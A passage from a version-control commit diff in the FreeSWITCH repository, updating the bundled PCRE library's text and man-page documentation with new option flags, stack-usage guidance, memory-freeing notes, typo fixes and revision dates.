+       have  a terminating NUL located at string + pmatch[0].rm_eo (there need
+       not actually be a NUL at that location), regardless  of  the  value  of
+       nmatch.  This  is a BSD extension, compatible with but not specified by
+       IEEE Standard 1003.2 (POSIX.2), and should  be  used  with  caution  in
+       software intended to be portable to other systems. Note that a non-zero
+       rm_so does not imply REG_NOTBOL; REG_STARTEND affects only the location
+       of the string, not how it is matched.
+
        If  the pattern was compiled with the REG_NOSUB flag, no data about any
        matched strings  is  returned.  The  nmatch  and  pmatch  arguments  of
        regexec() are ignored.
@@ -4666,11 +6112,14 @@
 AUTHOR
 
        Philip Hazel
-       University Computing Service,
-       Cambridge CB2 3QG, England.
+       University Computing Service
+       Cambridge CB2 3QH, England.
 
-Last updated: 16 January 2006
-Copyright (c) 1997-2006 University of Cambridge.
+
+REVISION
+
+       Last updated: 11 March 2009
+       Copyright (c) 1997-2009 University of Cambridge.
 ------------------------------------------------------------------------------
 
 
@@ -4758,15 +6207,43 @@
 
          c. The "i"th argument has a suitable type for holding the
             string captured as the "i"th sub-pattern. If you pass in
-            NULL for the "i"th argument, or pass fewer arguments than
+            void * NULL for the "i"th argument, or a non-void * NULL
+            of the correct type, or pass fewer arguments than the
             number of sub-patterns, "i"th captured sub-pattern is
             ignored.
 
+       CAVEAT: An optional sub-pattern that does  not  exist  in  the  matched
+       string  is  assigned  the  empty  string. Therefore, the following will
+       return false (because the empty string is not a valid number):
+
+          int number;
+          pcrecpp::RE::FullMatch("abc", "[a-z]+(\\d+)?", &number);
+
        The matching interface supports at most 16 arguments per call.  If  you
        need    more,    consider    using    the    more   general   interface
        pcrecpp::RE::DoMatch. See pcrecpp.h for the signature for DoMatch.
 
+       NOTE: Do not use no_arg, which is used internally to mark the end of  a
+       list  of optional arguments, as a placeholder for missing arguments, as
+       this can lead to segfaults.
 
+
+QUOTING METACHARACTERS
+
+       You can use the "QuoteMeta" operation to insert backslashes before  all
+       potentially  meaningful  characters  in  a string. The returned string,
+       used as a regular expression, will exactly match the original string.
+
+         Example:
+            string quoted = RE::QuoteMeta(unquoted);
+
+       Note that it's legal to escape a character even if it  has  no  special
+       meaning  in  a  regular expression -- so this function does that. (This
+       also makes it identical to the perl function  of  the  same  name;  see
+       "perldoc    -f    quotemeta".)    For   example,   "1.5-2.0?"   becomes
+       "1\.5\-2\.0\?".
+
+
 PARTIAL MATCHES
 
        You can use the "PartialMatch" operation when you want the  pattern  to
@@ -4978,7 +6455,12 @@
 AUTHOR
 
        The C++ wrapper was contributed by Google Inc.
-       Copyright (c) 2005 Google Inc.
+       Copyright (c) 2007 Google Inc.
+
+
+REVISION
+
+       Last updated: 17 March 2009
 ------------------------------------------------------------------------------
 
 
@@ -5045,8 +6527,18 @@
 
        (for example) to the compile command to get round this problem.
 
-Last updated: 09 September 2004
-Copyright (c) 1997-2004 University of Cambridge.
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 23 January 2008
+       Copyright (c) 1997-2008 University of Cambridge.
 ------------------------------------------------------------------------------
 PCRESTACK(3)                                                      PCRESTACK(3)
 
@@ -5099,7 +6591,7 @@
        ter. For a long string, a lot of stack is required. Consider  now  this
        rewritten pattern, which matches exactly the same strings:
 
-         ([^<]++|<(?!inet))
+         ([^<]++|<(?!inet))+
 
        This  uses very much less stack, because runs of characters that do not
        contain "<" are "swallowed" in one item inside the parentheses.  Recur-
@@ -5108,31 +6600,26 @@
        quantifier  is  used  to stop any backtracking into the runs of non-"<"
        characters, but that is not related to stack usage.
 
+       This example shows that one way of avoiding stack problems when  match-
+       ing long subject strings is to write repeated parenthesized subpatterns
+       to match more than one character whenever possible.
+
+   Compiling PCRE to use heap instead of stack
+
        In environments where stack memory is constrained, you  might  want  to
        compile  PCRE to use heap memory instead of stack for remembering back-
        up points. This makes it run a lot more slowly, however. Details of how
-       to do this are given in the pcrebuild documentation.
+       to do this are given in the pcrebuild documentation. When built in this
+       way, instead of using the stack, PCRE obtains and frees memory by call-
+       ing  the  functions  that  are  pointed to by the pcre_stack_malloc and
+       pcre_stack_free variables. By default,  these  point  to  malloc()  and
+       free(),  but you can replace the pointers to cause PCRE to use your own
+       functions. Since the block sizes are always the same,  and  are  always
+       freed in reverse order, it may be possible to implement customized mem-
+       ory handlers that are more efficient than the standard functions.
 
-       In Unix-like environments, there is not often a problem with the stack,
-       though the default limit on stack size varies from  system  to  system.
-       Values  from 8Mb to 64Mb are common. You can find your default limit by
-       running the command:
+   Limiting PCRE's stack usage
 
-         ulimit -s
-
-       The effect of running out of stack is often SIGSEGV,  though  sometimes
-       an error message is given. You can normally increase the limit on stack
-       size by code such as this:
-
-         struct rlimit rlim;
-         getrlimit(RLIMIT_STACK, &rlim);
-         rlim.rlim_cur = 100*1024*1024;
-         setrlimit(RLIMIT_STACK, &rlim);
-
-       This reads the current limits (soft and hard) using  getrlimit(),  then
-       attempts  to  increase  the  soft limit to 100Mb using setrlimit(). You
-       must do this before calling pcre_exec().
-
        PCRE has an internal counter that can be used to  limit  the  depth  of
        recursion,  and  thus cause pcre_exec() to give an error code before it
        runs out of stack. By default, the limit is very  large,  and  unlikely
@@ -5144,10 +6631,50 @@
        recursion. Thus, if you want to limit your  stack  usage  to  8Mb,  you
        should  set  the  limit at 16000 recursions. A 64Mb stack, on the other
        hand, can support around 128000 recursions. The pcretest  test  program
-       has  a command line option (-S) that can be used to increase its stack.
+       has a command line option (-S) that can be used to increase the size of
+       its stack.
 
-Last updated: 29 June 2006
-Copyright (c) 1997-2006 University of Cambridge.
+   Changing stack size in Unix-like systems
+
+       In Unix-like environments, there is not often a problem with the  stack
+       unless  very  long  strings  are  involved, though the default limit on
+       stack size varies from system to system. Values from 8Mb  to  64Mb  are
+       common. You can find your default limit by running the command:
+
+         ulimit -s
+
+       Unfortunately,  the  effect  of  running out of stack is often SIGSEGV,
+       though sometimes a more explicit error message is given. You  can  nor-
+       mally increase the limit on stack size by code such as this:
+
+         struct rlimit rlim;
+         getrlimit(RLIMIT_STACK, &rlim);
+         rlim.rlim_cur = 100*1024*1024;
+         setrlimit(RLIMIT_STACK, &rlim);
+
+       This  reads  the current limits (soft and hard) using getrlimit(), then
+       attempts to increase the soft limit to  100Mb  using  setrlimit().  You
+       must do this before calling pcre_exec().
+
+   Changing stack size in Mac OS X
+
+       Using setrlimit(), as described above, should also work on Mac OS X. It
+       is also possible to set a stack size when linking a program. There is a
+       discussion   about   stack  sizes  in  Mac  OS  X  at  this  web  site:
+       http://developer.apple.com/qa/qa2005/qa1419.html.
+
+
+AUTHOR
+
+       Philip Hazel
+       University Computing Service
+       Cambridge CB2 3QH, England.
+
+
+REVISION
+
+       Last updated: 09 July 2008
+       Copyright (c) 1997-2008 University of Cambridge.
 ------------------------------------------------------------------------------
 
 

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_compile.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_compile.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_compile.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B pcre *pcre_compile(const char *\fIpattern\fP, int \fIoptions\fP,
 .ti +5n
 .B const char **\fIerrptr\fP, int *\fIerroffset\fP,
@@ -17,8 +16,9 @@
 .SH DESCRIPTION
 .rs
 .sp
-This function compiles a regular expression into an internal form. Its
-arguments are:
+This function compiles a regular expression into an internal form. It is the
+same as \fBpcre_compile2()\fP, except for the absence of the \fIerrorcodeptr\fP
+argument. Its arguments are:
 .sp
   \fIpattern\fR       A zero-terminated string containing the
                   regular expression to be compiled
@@ -30,33 +30,41 @@
 .sp
 The option bits are:
 .sp
-  PCRE_ANCHORED         Force pattern anchoring
-  PCRE_AUTO_CALLOUT     Compile automatic callouts
-  PCRE_CASELESS         Do caseless matching
-  PCRE_DOLLAR_ENDONLY   $ not to match newline at end
-  PCRE_DOTALL           . matches anything including NL
-  PCRE_DUPNAMES         Allow duplicate names for subpatterns
-  PCRE_EXTENDED         Ignore whitespace and # comments
-  PCRE_EXTRA            PCRE extra features
-                          (not much use currently)
-  PCRE_FIRSTLINE        Force matching to be before newline
-  PCRE_MULTILINE        ^ and $ match newlines within data
-  PCRE_NEWLINE_CR       Set CR as the newline sequence
-  PCRE_NEWLINE_CRLF     Set CRLF as the newline sequence
-  PCRE_NEWLINE_LF       Set LF as the newline sequence
-  PCRE_NO_AUTO_CAPTURE  Disable numbered capturing paren-
-                          theses (named ones available)
-  PCRE_UNGREEDY         Invert greediness of quantifiers
-  PCRE_UTF8             Run in UTF-8 mode
-  PCRE_NO_UTF8_CHECK    Do not check the pattern for UTF-8
-                          validity (only relevant if
-                          PCRE_UTF8 is set)
+  PCRE_ANCHORED           Force pattern anchoring
+  PCRE_AUTO_CALLOUT       Compile automatic callouts
+  PCRE_BSR_ANYCRLF        \eR matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE        \eR matches all Unicode line endings
+  PCRE_CASELESS           Do caseless matching
+  PCRE_DOLLAR_ENDONLY     $ not to match newline at end
+  PCRE_DOTALL             . matches anything including NL
+  PCRE_DUPNAMES           Allow duplicate names for subpatterns
+  PCRE_EXTENDED           Ignore whitespace and # comments
+  PCRE_EXTRA              PCRE extra features
+                            (not much use currently)
+  PCRE_FIRSTLINE          Force matching to be before newline
+  PCRE_JAVASCRIPT_COMPAT  JavaScript compatibility
+  PCRE_MULTILINE          ^ and $ match newlines within data
+  PCRE_NEWLINE_ANY        Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF    Recognize CR, LF, and CRLF as newline
+                            sequences
+  PCRE_NEWLINE_CR         Set CR as the newline sequence
+  PCRE_NEWLINE_CRLF       Set CRLF as the newline sequence
+  PCRE_NEWLINE_LF         Set LF as the newline sequence
+  PCRE_NO_AUTO_CAPTURE    Disable numbered capturing paren-
+                            theses (named ones available)
+  PCRE_UNGREEDY           Invert greediness of quantifiers
+  PCRE_UTF8               Run in UTF-8 mode
+  PCRE_NO_UTF8_CHECK      Do not check the pattern for UTF-8
+                            validity (only relevant if
+                            PCRE_UTF8 is set)
 .sp
 PCRE must be built with UTF-8 support in order to use PCRE_UTF8 and
 PCRE_NO_UTF8_CHECK.
 .P
 The yield of the function is a pointer to a private data structure that
-contains the compiled pattern, or NULL if an error was detected.
+contains the compiled pattern, or NULL if an error was detected. Note that
+compiling regular expressions with one version of PCRE for use with a different
+version is not guaranteed to work and may cause crashes.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_compile2.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_compile2.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_compile2.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B pcre *pcre_compile2(const char *\fIpattern\fP, int \fIoptions\fP,
 .ti +5n
 .B int *\fIerrorcodeptr\fP,
@@ -46,6 +45,8 @@
                           (not much use currently)
   PCRE_FIRSTLINE        Force matching to be before newline
   PCRE_MULTILINE        ^ and $ match newlines within data
+  PCRE_NEWLINE_ANY      Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR       Set CR as the newline sequence
   PCRE_NEWLINE_CRLF     Set CRLF as the newline sequence
   PCRE_NEWLINE_LF       Set LF as the newline sequence
@@ -61,7 +62,9 @@
 PCRE_NO_UTF8_CHECK.
 .P
 The yield of the function is a pointer to a private data structure that
-contains the compiled pattern, or NULL if an error was detected.
+contains the compiled pattern, or NULL if an error was detected. Note that
+compiling regular expressions with one version of PCRE for use with a different
+version is not guaranteed to work and may cause crashes.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_config.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_config.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_config.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_config(int \fIwhat\fP, void *\fIwhere\fP);
 .
 .SH DESCRIPTION
@@ -26,7 +25,15 @@
   PCRE_CONFIG_MATCH_LIMIT   Internal resource limit
   PCRE_CONFIG_MATCH_LIMIT_RECURSION
                             Internal recursion depth limit
-  PCRE_CONFIG_NEWLINE       Value of the newline sequence
+  PCRE_CONFIG_NEWLINE       Value of the default newline sequence:
+                                13 (0x000d)    for CR
+                                10 (0x000a)    for LF
+                              3338 (0x0d0a)    for CRLF
+                                -2             for ANYCRLF
+                                -1             for ANY
+  PCRE_CONFIG_BSR           Indicates what \eR matches by default:
+                                 0             all Unicode line endings
+                                 1             CR, LF, or CRLF only
   PCRE_CONFIG_POSIX_MALLOC_THRESHOLD
                             Threshold of return slots, above
                               which \fBmalloc()\fR is used by

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_copy_named_substring.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_copy_named_substring.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_copy_named_substring.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_copy_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_copy_substring.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_copy_substring.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_copy_substring.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_copy_substring(const char *\fIsubject\fP, int *\fIovector\fP,
 .ti +5n
 .B int \fIstringcount\fP, int \fIstringnumber\fP, char *\fIbuffer\fP,
@@ -27,7 +26,7 @@
   \fIbuffer\fP        Buffer to receive the string
   \fIbuffersize\fP    Size of buffer
 .sp
-The yield is the legnth of the string, PCRE_ERROR_NOMEMORY if the buffer was
+The yield is the length of the string, PCRE_ERROR_NOMEMORY if the buffer was
 too small, or PCRE_ERROR_NOSUBSTRING if the string number is invalid.
 .P
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_dfa_exec.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_dfa_exec.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_dfa_exec.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_dfa_exec(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B "const char *\fIsubject\fP," int \fIlength\fP, int \fIstartoffset\fP,
@@ -20,9 +19,9 @@
 .rs
 .sp
 This function matches a compiled regular expression against a given subject
-string, using a DFA matching algorithm (\fInot\fP Perl-compatible). Note that
-the main, Perl-compatible, matching function is \fBpcre_exec()\fP. The
-arguments for this function are:
+string, using an alternative matching algorithm that scans the subject string
+just once (\fInot\fP Perl-compatible). Note that the main, Perl-compatible,
+matching function is \fBpcre_exec()\fP. The arguments for this function are:
 .sp
   \fIcode\fP         Points to the compiled pattern
   \fIextra\fP        Points to an associated \fBpcre_extra\fP structure,
@@ -40,12 +39,17 @@
 The options are:
 .sp
   PCRE_ANCHORED      Match only at the first position
+  PCRE_BSR_ANYCRLF   \eR matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE   \eR matches all Unicode line endings
+  PCRE_NEWLINE_ANY   Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR    Set CR as the newline sequence
   PCRE_NEWLINE_CRLF  Set CRLF as the newline sequence
   PCRE_NEWLINE_LF    Set LF as the newline sequence
   PCRE_NOTBOL        Subject is not the beginning of a line
   PCRE_NOTEOL        Subject is not the end of a line
   PCRE_NOTEMPTY      An empty string is not a valid match
+  PCRE_NO_START_OPTIMIZE  Do not do "start-match" optimizations
   PCRE_NO_UTF8_CHECK Do not check the subject for UTF-8
                        validity (only relevant if PCRE_UTF8
                        was set at compile time)
@@ -53,8 +57,8 @@
   PCRE_DFA_SHORTEST  Return only the shortest match
   PCRE_DFA_RESTART   This is a restart after a partial match
 .sp
-There are restrictions on what may appear in a pattern when matching using the
-DFA algorithm is requested. Details are given in the
+There are restrictions on what may appear in a pattern when using this matching
+function. Details are given in the
 .\" HREF
 \fBpcrematching\fP
 .\"
@@ -71,7 +75,7 @@
 .sp
 The flag bits are PCRE_EXTRA_STUDY_DATA, PCRE_EXTRA_MATCH_LIMIT,
 PCRE_EXTRA_MATCH_LIMIT_RECURSION, PCRE_EXTRA_CALLOUT_DATA, and
-PCRE_EXTRA_TABLES. For DFA matching, the \fImatch_limit\fP and
+PCRE_EXTRA_TABLES. For this matching function, the \fImatch_limit\fP and
 \fImatch_limit_recursion\fP fields are not used, and must not be set.
 .P
 There is a complete description of the PCRE native API in the

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_exec.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_exec.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_exec.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_exec(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B "const char *\fIsubject\fP," int \fIlength\fP, int \fIstartoffset\fP,
@@ -35,19 +34,28 @@
 The options are:
 .sp
   PCRE_ANCHORED      Match only at the first position
+  PCRE_BSR_ANYCRLF   \eR matches only CR, LF, or CRLF
+  PCRE_BSR_UNICODE   \eR matches all Unicode line endings
+  PCRE_NEWLINE_ANY   Recognize any Unicode newline sequence
+  PCRE_NEWLINE_ANYCRLF  Recognize CR, LF, and CRLF as newline sequences
   PCRE_NEWLINE_CR    Set CR as the newline sequence
   PCRE_NEWLINE_CRLF  Set CRLF as the newline sequence
   PCRE_NEWLINE_LF    Set LF as the newline sequence
   PCRE_NOTBOL        Subject is not the beginning of a line
   PCRE_NOTEOL        Subject is not the end of a line
   PCRE_NOTEMPTY      An empty string is not a valid match
+  PCRE_NO_START_OPTIMIZE  Do not do "start-match" optimizations
   PCRE_NO_UTF8_CHECK Do not check the subject for UTF-8
                        validity (only relevant if PCRE_UTF8
                        was set at compile time)
   PCRE_PARTIAL       Return PCRE_ERROR_PARTIAL for a partial match
 .sp
 There are restrictions on what may appear in a pattern when partial matching is
-requested.
+requested. For details, see the
+.\" HREF
+\fBpcrepartial\fP
+.\"
+page.
 .P
 A \fBpcre_extra\fP structure contains the following fields:
 .sp

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B void pcre_free_substring(const char *\fIstringptr\fP);
 .
 .SH DESCRIPTION

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring_list.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring_list.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_free_substring_list.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B void pcre_free_substring_list(const char **\fIstringptr\fP);
 .
 .SH DESCRIPTION

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_fullinfo.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_fullinfo.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_fullinfo.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_fullinfo(const pcre *\fIcode\fP, "const pcre_extra *\fIextra\fP,"
 .ti +5n
 .B int \fIwhat\fP, void *\fIwhere\fP);
@@ -31,13 +30,14 @@
                               -1 for start of string
                                  or after newline, or
                               -2 otherwise
-  PCRE_INFO_FIRSTTABLE      Table of first bytes
-                              (after studying)
+  PCRE_INFO_FIRSTTABLE      Table of first bytes (after studying)
+  PCRE_INFO_JCHANGED        Return 1 if (?J) or (?-J) was used
   PCRE_INFO_LASTLITERAL     Literal last byte required
   PCRE_INFO_NAMECOUNT       Number of named subpatterns
   PCRE_INFO_NAMEENTRYSIZE   Size of name table entry
   PCRE_INFO_NAMETABLE       Pointer to name table
-  PCRE_INFO_OPTIONS         Options used for compilation
+  PCRE_INFO_OKPARTIAL       Return 1 if partial matching can be tried
+  PCRE_INFO_OPTIONS         Option bits used for compilation
   PCRE_INFO_SIZE            Size of compiled pattern
   PCRE_INFO_STUDYSIZE       Size of study data
 .sp

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_get_named_substring.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_get_named_substring.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_get_named_substring.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_get_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,
@@ -30,9 +29,10 @@
   \fIstringptr\fP     Where to put the string pointer
 .sp
 The memory in which the substring is placed is obtained by calling
-\fBpcre_malloc()\fP. The yield of the function is the length of the extracted
-substring, PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained, or
-PCRE_ERROR_NOSUBSTRING if the string name is invalid.
+\fBpcre_malloc()\fP. The convenience function \fBpcre_free_substring()\fP can
+be used to free it when it is no longer needed. The yield of the function is
+the length of the extracted substring, PCRE_ERROR_NOMEMORY if sufficient memory
+could not be obtained, or PCRE_ERROR_NOSUBSTRING if the string name is invalid.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringnumber.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringnumber.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringnumber.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_get_stringnumber(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIname\fP);
@@ -22,7 +21,10 @@
   \fIname\fP    Name whose number is required
 .sp
 The yield of the function is the number of the parenthesis if the name is
-found, or PCRE_ERROR_NOSUBSTRING otherwise.
+found, or PCRE_ERROR_NOSUBSTRING otherwise. When duplicate names are allowed
+(PCRE_DUPNAMES is set), it is not defined which of the numbers is returned by
+\fBpcre_get_stringnumber()\fP. You can obtain the complete list by calling
+\fBpcre_get_stringtable_entries()\fP.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringtable_entries.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringtable_entries.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_get_stringtable_entries.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,4 @@
-.TH PCRE_GET_STRINGNUMBER 3
+.TH PCRE_GET_STRINGTABLE_ENTRIES 3
 .SH NAME
 PCRE - Perl-compatible regular expressions
 .SH SYNOPSIS
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_get_stringtable_entries(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIname\fP, char **\fIfirst\fP, char **\fIlast\fP);
@@ -34,7 +33,7 @@
 .\" HREF
 \fBpcreapi\fP
 .\"
-page and a description of the POSIX API in the
+page, and a description of the POSIX API in the
 .\" HREF
 \fBpcreposix\fP
 .\"

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_get_substring(const char *\fIsubject\fP, int *\fIovector\fP,
 .ti +5n
 .B int \fIstringcount\fP, int \fIstringnumber\fP,
@@ -27,9 +26,10 @@
   \fIstringptr\fP     Where to put the string pointer
 .sp
 The memory in which the substring is placed is obtained by calling
-\fBpcre_malloc()\fP. The yield of the function is the length of the substring,
-PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained, or
-PCRE_ERROR_NOSUBSTRING if the string number is invalid.
+\fBpcre_malloc()\fP. The convenience function \fBpcre_free_substring()\fP can
+be used to free it when it is no longer needed. The yield of the function is
+the length of the substring, PCRE_ERROR_NOMEMORY if sufficient memory could not
+be obtained, or PCRE_ERROR_NOSUBSTRING if the string number is invalid.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring_list.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring_list.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_get_substring_list.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_get_substring_list(const char *\fIsubject\fP,
 .ti +5n
 .B int *\fIovector\fP, int \fIstringcount\fP, "const char ***\fIlistptr\fP);"
@@ -24,10 +23,12 @@
   \fIlistptr\fP       Where to put a pointer to the list
 .sp
 The memory in which the substrings and the list are placed is obtained by
-calling \fBpcre_malloc()\fP. A pointer to a list of pointers is put in
-the variable whose address is in \fIlistptr\fP. The list is terminated by a
-NULL pointer. The yield of the function is zero on success or
-PCRE_ERROR_NOMEMORY if sufficient memory could not be obtained.
+calling \fBpcre_malloc()\fP. The convenience function
+\fBpcre_free_substring_list()\fP can be used to free it when it is no longer
+needed. A pointer to a list of pointers is put in the variable whose address is
+in \fIlistptr\fP. The list is terminated by a NULL pointer. The yield of the
+function is zero on success or PCRE_ERROR_NOMEMORY if sufficient memory could
+not be obtained.
 .P
 There is a complete description of the PCRE native API in the
 .\" HREF

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_info.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_info.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_info.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_info(const pcre *\fIcode\fP, int *\fIoptptr\fP, int
 .B *\fIfirstcharptr\fP);
 .

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_maketables.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_maketables.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_maketables.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B const unsigned char *pcre_maketables(void);
 .
 .SH DESCRIPTION

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_refcount.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_refcount.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_refcount.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B int pcre_refcount(pcre *\fIcode\fP, int \fIadjust\fP);
 .
 .SH DESCRIPTION

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_study.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre_study.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre_study.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 .B #include <pcre.h>
 .PP
 .SM
-.br
 .B pcre_extra *pcre_study(const pcre *\fIcode\fP, int \fIoptions\fP,
 .ti +5n
 .B const char **\fIerrptr\fP);

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre_version.3 (14471 => 14472)
